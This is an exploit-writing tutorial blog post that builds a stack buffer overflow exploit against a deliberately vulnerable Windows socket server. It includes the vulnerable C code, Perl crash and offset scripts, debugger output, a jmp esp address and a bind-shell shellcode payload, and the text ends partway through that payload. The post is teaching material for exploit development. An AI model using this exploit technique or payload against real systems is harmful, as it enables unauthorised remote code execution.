{"id":2196,"date":"2009-08-12T22:51:04","date_gmt":"2009-08-12T20:51:04","guid":{"rendered":"http:\/\/www.corelan.be:8800\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/"},"modified":"2009-08-12T22:51:04","modified_gmt":"2009-08-12T20:51:04","slug":"exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics","status":"publish","type":"post","link":"https:\/\/www.corelan.be\/index.php\/2009\/08\/12\/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics\/","title":{"rendered":"Exploit writing tutorial part 4 : From Exploit to Metasploit - The basics"},"content":{"rendered":"<p>In the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to demonstrate how to build a working exploit.<\/p>\n<p>Obviously, writing exploits is not limited to perl only. I guess every programming language could be used to write exploits\u2026 so you can just pick the one that you are most familiar with. (python, c, c++, C#, etc)<\/p>\n<p>Despite the fact that these custom written exploits will work just fine, it may be nice to be able to include your own exploits in the metasploit framework in order to take advantage of some of the unique metasploit features.<\/p>\n<p>So today, I\u2019m going to explain how exploits can be written as a metasploit module.<\/p>\n<p>Metasploit modules are writting in ruby. Even if you don\u2019t know a lot about ruby, you should still be able to write a metasploit exploit module based on this tutorial and the existing exploits available in metasploit.<\/p>\n<h3>Metasploit exploit module structure<\/h3>\n<p>A typical metasploit exploit module consists of the following components :<\/p>\n<ul>\n<li>header and some dependencies\n<ul>\n<li>Some comments about the exploit module <\/li>\n<li>require \u2018msf\/core\u2019 <\/li>\n<\/ul>\n<\/li>\n<li>class definition <\/li>\n<li>includes <\/li>\n<li>\u201cdef\u201d definitions :\n<ul>\n<li>initialize <\/li>\n<li>check (optional) <\/li>\n<li>exploit <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>You can put comments in your metasploit module by using the # character.&#160; That\u2019s all we need to know for now, let\u2019s look at the steps to build a metasploit exploit module.<\/p>\n<h3>Case study : building an exploit for a simple vulnerable server<\/h3>\n<p>We\u2019ll use the following vulnerable server code (C) to demonstrate the building process :<\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">#include &lt;iostream.h&gt;\n#include &lt;winsock.h&gt;\n#include &lt;windows.h&gt;\n\n<span style=\"color: #008000\">\/\/load windows socket<\/span>\n#pragma comment(lib, &quot;<span style=\"color: #8b0000\">wsock32.lib<\/span>&quot;)\n\n<span style=\"color: #008000\">\/\/Define Return Messages<\/span>\n#define SS_ERROR 1\n#define SS_OK 0\n\n<span style=\"color: #0000ff\">void<\/span> pr( <span style=\"color: #0000ff\">char<\/span> *str)\n{\n   <span style=\"color: #0000ff\">char<\/span> buf[500]=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n   <span style=\"color: #0000ff\">strcpy<\/span>(buf,str);\n}\n<span style=\"color: #0000ff\">void<\/span> sError(<span style=\"color: #0000ff\">char<\/span> *str)\n{\n   MessageBox (NULL, str, &quot;<span style=\"color: #8b0000\">socket Error<\/span>&quot; ,MB_OK);\n   WSACleanup();\n}\n\n<span style=\"color: #0000ff\">int<\/span> main(<span style=\"color: #0000ff\">int<\/span> argc, <span style=\"color: #0000ff\">char<\/span> **argv)\n{\n\nWORD sockVersion;\nWSADATA wsaData;\n\n<span style=\"color: #0000ff\">int<\/span> rVal;\n<span style=\"color: #0000ff\">char<\/span> Message[5000]=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n<span style=\"color: #0000ff\">char<\/span> buf[2000]=&quot;<span style=\"color: #8b0000\"><\/span>&quot;;\n\nu_short LocalPort;\nLocalPort = 200;\n\n<span style=\"color: #008000\">\/\/wsock32 initialized for usage<\/span>\nsockVersion = MAKEWORD(1,1);\nWSAStartup(sockVersion, &amp;wsaData);\n\n<span style=\"color: #008000\">\/\/create server socket<\/span>\nSOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);\n\n<span style=\"color: #0000ff\">if<\/span>(serverSocket == INVALID_SOCKET)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed socket()<\/span>&quot;);\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\nSOCKADDR_IN <span style=\"color: #0000ff\">sin<\/span>;\n<span style=\"color: #0000ff\">sin<\/span>.sin_family = PF_INET;\n<span style=\"color: #0000ff\">sin<\/span>.sin_port = htons(LocalPort);\n<span style=\"color: #0000ff\">sin<\/span>.sin_addr.s_addr = INADDR_ANY;\n\n<span style=\"color: #008000\">\/\/bind the socket<\/span>\nrVal = bind(serverSocket, (LPSOCKADDR)&amp;<span style=\"color: #0000ff\">sin<\/span>, <span style=\"color: #0000ff\">sizeof<\/span>(<span style=\"color: #0000ff\">sin<\/span>));\n<span style=\"color: #0000ff\">if<\/span>(rVal == SOCKET_ERROR)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed bind()<\/span>&quot;);\n   WSACleanup();\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\n<span style=\"color: #008000\">\/\/get socket to listen<\/span>\nrVal = listen(serverSocket, 10);\n<span style=\"color: #0000ff\">if<\/span>(rVal == SOCKET_ERROR)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed listen()<\/span>&quot;);\n   WSACleanup();\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\n<span style=\"color: #008000\">\/\/wait for a client to connect<\/span>\nSOCKET clientSocket;\nclientSocket = accept(serverSocket, NULL, NULL);\n<span style=\"color: #0000ff\">if<\/span>(clientSocket == INVALID_SOCKET)\n{\n   sError(&quot;<span style=\"color: #8b0000\">Failed accept()<\/span>&quot;);\n   WSACleanup();\n   <span style=\"color: #0000ff\">return<\/span> SS_ERROR;\n}\n\n<span style=\"color: #0000ff\">int<\/span> bytesRecv = SOCKET_ERROR;\n<span style=\"color: #0000ff\">while<\/span>( bytesRecv == SOCKET_ERROR )\n{\n   <span style=\"color: #008000\">\/\/receive the data that is being sent by the client max limit to 5000 bytes.<\/span>\n   bytesRecv = recv( clientSocket, Message, 5000, 0 );\n\n   <span style=\"color: #0000ff\">if<\/span> ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )\n   {\n      <span style=\"color: #0000ff\">printf<\/span>( &quot;<span style=\"color: #8b0000\">\\nConnection Closed.\\n<\/span>&quot;);\n      <span style=\"color: #0000ff\">break<\/span>;\n   }\n}\n\n<span style=\"color: #008000\">\/\/Pass the data received to the function pr<\/span>\npr(Message);\n\n<span style=\"color: #008000\">\/\/close client socket<\/span>\nclosesocket(clientSocket);\n<span style=\"color: #008000\">\/\/close server socket<\/span>\nclosesocket(serverSocket);\n\nWSACleanup();\n\n<span style=\"color: #0000ff\">return<\/span> SS_OK;\n}<\/pre>\n<pre class=\"csharpcode\">&#160;<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Compile the code and run it on a Windows 2003 server R2 with SP2. (I have used lcc-win32 to compile the code)<\/p>\n<p>When you send 1000 bytes to the server, the server will crash.<\/p>\n<p>The following perl script demonstrates the crash :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\"><span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">\\x41<\/span>&quot; x1000;\n\n# initialize host and port\n<span style=\"color: #0000ff\">my<\/span> $host = <span style=\"color: #0000ff\">shift<\/span> || 'localhost';\n<span style=\"color: #0000ff\">my<\/span> $port = <span style=\"color: #0000ff\">shift<\/span> || 200;\n\n<span style=\"color: #0000ff\">my<\/span> $proto = <span style=\"color: #0000ff\">getprotobyname<\/span>('tcp');\n\n# get the port address\n<span style=\"color: #0000ff\">my<\/span> $iaddr = inet_aton($host);\n<span style=\"color: #0000ff\">my<\/span> $paddr = sockaddr_in($port, $iaddr);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the <span style=\"color: #0000ff\">socket<\/span>, <span style=\"color: #0000ff\">connect<\/span> to the port\n<span style=\"color: #0000ff\">socket<\/span>(SOCKET, PF_INET, SOCK_STREAM, $proto) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">connect<\/span>(SOCKET, $paddr) or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> SOCKET $junk.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">[+] Payload sent\\n<\/span>&quot;;\n\n<span style=\"color: #0000ff\">close<\/span> SOCKET or <span style=\"color: #0000ff\">die<\/span> &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>The vulnerable server dies, and EIP gets overwritten with A\u2019s<\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">0:001&gt; g\n(e00.de0): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0\neip=41414141 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz ac po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212\n41414141 ??              ???<\/pre>\n<p>Using a metasploit pattern, we determine that the offset to EIP overwrite is at 504 bytes. So we\u2019ll build a new crash script to verify the offset and see the contents of the registers when the overflow occurs :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">use strict;\nuse Socket;\n\nmy $totalbuffer=1000;\nmy $junk = &quot;<span style=\"color: #8b0000\">\\x41<\/span>&quot; x 504;\nmy $eipoverwrite = &quot;<span style=\"color: #8b0000\">\\x42<\/span>&quot; x 4;\nmy $junk2 = &quot;<span style=\"color: #8b0000\">\\x43<\/span>&quot; x ($totalbuffer-length($junk.$eipoverwrite));\n\n# initialize host and port\nmy $host = shift || 'localhost';\nmy $port = shift || 200;\n\nmy $proto = getprotobyname('tcp');\n\n# get the port address\nmy $iaddr = inet_aton($host);\nmy $paddr = sockaddr_in($port, $iaddr);\n\nprint &quot;<span style=\"color: #8b0000\">[+] Setting up socket\\n<\/span>&quot;;\n# create the socket, connect to the port\nsocket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die &quot;<span style=\"color: #8b0000\">socket: $!<\/span>&quot;;\nprint &quot;<span style=\"color: #8b0000\">[+] Connecting to $host on port $port\\n<\/span>&quot;;\nconnect(SOCKET, $paddr) or die &quot;<span style=\"color: #8b0000\">connect: $!<\/span>&quot;;\n\nprint &quot;<span style=\"color: #8b0000\">[+] Sending payload\\n<\/span>&quot;;\nprint SOCKET $junk.$eipoverwrite.$junk2.&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n\nprint &quot;<span style=\"color: #8b0000\">[+] Payload sent\\n<\/span>&quot;;\n\n<span style=\"color: #0000ff\">close<\/span> SOCKET or die &quot;<span style=\"color: #8b0000\">close: $!<\/span>&quot;;<\/pre>\n<p>After sending 504 A\u2019s, 4 B\u2019s and a bunch of C\u2019s, we can see the following register and stack contents :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">0:001&gt; g\n(ed0.eb0): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0\neip=42424242 esp=0012e258 ebp=41414141 iopl=0         nv up ei pl nz ac po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212\n42424242 ??              ???\n0:000&gt; d esp\n0012e258  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e268  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e278  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e288  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e298  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e2a8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e2b8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC\n0012e2c8  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC<\/pre>\n<p>Increase the junk size to see how much space you have available for your shellcode. This is important because you will need to specify this parameter in the metasploit module.<\/p>\n<p>Change the $totalbuffer value to 2000, overflow still works as expected, and the contents of esp indicate that we have been able to fill memory with C\u2019s up to esp+5d3 (1491 bytes). That will be our shellcode space (more or less)<\/p>\n<p>All we need is to overwrite EIP with jmp esp (or call esp, or something similar), and put our shellcode instead of the C\u2019s and we should be fine.<\/p>\n<p>Using findjmp, we have found a working address for our Windows 2003 R2 SP2 server :<\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">findjmp.exe ws2_32.dll esp\nReg: esp\nScanning ws2_32.dll <span style=\"color: #0000ff\">for<\/span> code usable with the esp <span style=\"color: #0000ff\">register<\/span>\n0x71C02B67      push esp - ret\nFinished Scanning ws2_32.dll <span style=\"color: #0000ff\">for<\/span> code usable with the esp <span style=\"color: #0000ff\">register<\/span>\nFound 1 usable addresses<\/pre>\n<p>After doing some tests with shellcode, we can use the following conclusions to build the final exploits<\/p>\n<ul>\n<li>exclude 0xff from the shellcode <\/li>\n<li>put some nop\u2019s before the shellcode <\/li>\n<\/ul>\n<p>Our final exploit ( in perl, with a shell bound to tcp 5555 ) looks like this :<\/p>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<pre style=\"border-bottom: #808080 1px solid; border-left: #808080 1px solid; padding-bottom: 5px; background-color: #5d5d5d; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #808080 1px solid; border-right: #808080 1px solid; padding-top: 5px\">#\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> --------------------------------------\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">     Writing Buffer Overflows\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">       Peter Van Eeckhoutte\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">     http:\/\/www.corelan.be:8800\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> --------------------------------------\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">    Exploit for vulnserver.c\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\"> --------------------------------------\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">use<\/span> strict;\n<span style=\"color: #0000ff\">use<\/span> Socket;\n<span style=\"color: #0000ff\">my<\/span> $junk = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 504;\n\n#jmp esp (from ws2_32.dll)\n<span style=\"color: #0000ff\">my<\/span> $eipoverwrite = <span style=\"color: #0000ff\">pack<\/span>('V',0x71C02B67);\n\n#add some NOP's\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 50;\n\n# windows\/shell_bind_tcp - 702 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/alpha_upper\n# EXITFUNC=seh, LPORT=5555, RHOST=\n$shellcode=$shellcode.&quot;<span style=\"color: #8b0000\">\\x89\\xe0\\xd9\\xd0\\xd9\\x70\\xf4\\x59\\x49\\x49\\x49\\x49\\x49\\x43<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\\x42<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x42\\x4a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x50\\x4d\\x4d\\x38\\x4c\\x39\\x4b\\x4f\\x4b\\x4f\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x30\\x4c\\x4b\\x42\\x4c\\x51\\x34\\x51\\x34\\x4c\\x4b\\x47\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x4c\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x44\\x38\\x45\\x51\\x4a\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x50\\x4f\\x44\\x58\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x43\\x31<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4a\\x4b\\x47\\x39\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x31\\x49\\x50\\x4a\\x39\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x42\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x57\\x49\\x51\\x48\\x4a\\x44\\x4d\\x45\\x51\\x48\\x42\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x34\\x47\\x4b\\x46\\x34\\x46\\x44\\x51\\x38\\x42\\x55\\x4a\\x45<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x4f\\x51\\x34\\x43\\x31\\x4a\\x4b\\x43\\x56\\x4c\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x43\\x31\\x4a\\x4b<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x43\\x46\\x4c\\x4c\\x4b\\x4b\\x39\\x42\\x4c\\x51\\x34\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x31\\x49\\x53\\x46\\x51\\x49\\x4b\\x43\\x54\\x4c\\x4b\\x51\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x30\\x4c\\x4b\\x47\\x30\\x44\\x4c\\x4c\\x4b\\x42\\x50\\x45\\x4c<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x4d\\x4c\\x4b\\x51\\x50\\x44\\x48\\x51\\x4e\\x43\\x58\\x4c\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x50\\x4e\\x44\\x4e\\x4a\\x4c\\x46\\x30\\x4b\\x4f\\x4e\\x36\\x45\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x42\\x46\\x43\\x58\\x46\\x53\\x47\\x42\\x45\\x38\\x43\\x47<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x33\\x46\\x52\\x51\\x4f\\x46\\x34\\x4b\\x4f\\x48\\x50\\x42\\x48<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x4b\\x4a\\x4d\\x4b\\x4c\\x47\\x4b\\x46\\x30\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4f\\x4c\\x49\\x4d\\x35\\x43\\x56\\x4b\\x31\\x4a\\x4d\\x45\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x44\\x42\\x46\\x35\\x43\\x5a\\x43\\x32\\x4b\\x4f\\x4e\\x30\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x59\\x45\\x59\\x4a\\x55\\x4e\\x4d\\x51\\x47\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x43\\x50\\x53\\x50\\x53\\x46\\x33\\x46\\x33\\x51\\x53\\x50\\x53<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x33\\x46\\x33\\x4b\\x4f\\x4e\\x30\\x42\\x46\\x42\\x48\\x42\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x53\\x45\\x36\\x50\\x53\\x4b\\x39\\x4b\\x51\\x4c\\x55\\x43\\x58<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4e\\x44\\x45\\x4a\\x44\\x30\\x49\\x57\\x46\\x37\\x4b\\x4f\\x4e\\x36<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x42\\x4a\\x44\\x50\\x50\\x51\\x50\\x55\\x4b\\x4f\\x48\\x50\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x49\\x34\\x4e\\x4d\\x46\\x4e\\x4a\\x49\\x50\\x57\\x4b\\x4f\\x49\\x46<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x33\\x50\\x55\\x4b\\x4f\\x4e\\x30\\x42\\x48\\x4d\\x35\\x51\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x46\\x51\\x59\\x51\\x47\\x4b\\x4f\\x49\\x46\\x46\\x30\\x50\\x54<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x34\\x50\\x55\\x4b\\x4f\\x48\\x50\\x4a\\x33\\x43\\x58\\x4b\\x57<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x49\\x48\\x46\\x44\\x39\\x51\\x47\\x4b\\x4f\\x4e\\x36\\x46\\x35<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x4f\\x48\\x50\\x43\\x56\\x43\\x5a\\x45\\x34\\x42\\x46\\x45\\x38<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x53\\x42\\x4d\\x4b\\x39\\x4a\\x45\\x42\\x4a\\x50\\x50\\x50\\x59<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x59\\x48\\x4c\\x4b\\x39\\x4d\\x37\\x42\\x4a\\x47\\x34\\x4c\\x49<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4b\\x52\\x46\\x51\\x49\\x50\\x4b\\x43\\x4e\\x4a\\x4b\\x4e\\x47\\x32<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x4d\\x4b\\x4e\\x50\\x42\\x46\\x4c\\x4d\\x43\\x4c\\x4d\\x42\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x46\\x58\\x4e\\x4b\\x4e\\x4b\\x4e\\x4b\\x43\\x58\\x43\\x42\\x4b\\x4e<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x33\\x42\\x36\\x4b\\x4f\\x43\\x45\\x51\\x54\\x4b\\x4f\\x48\\x56<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x51\\x4b\\x46\\x37\\x50\\x52\\x50\\x51\\x50\\x51\\x50\\x51\\x43\\x5a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x45\\x51\\x46\\x31\\x50\\x51\\x51\\x45\\x50\\x51\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x43\\x58\\x4e\\x4d\\x49\\x49\\x44\\x45\\x48\\x4e\\x46\\x33\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x43\\x5a\\x4b\\x4f\\x4b\\x4f\\x50\\x37\\x4b\\x4f\\x4e\\x30<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x4c\\x4b\\x51\\x47\\x4b\\x4c\\x4b\\x33\\x49\\x54\\x42\\x44\\x4b\\x4f<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x48\\x56\\x51\\x42\\x4b\\x4f\\x48\\x50\\x43\\x58\\x4a\\x50\\x4c\\x4a<\/span>&quot; .\n&quot;<span 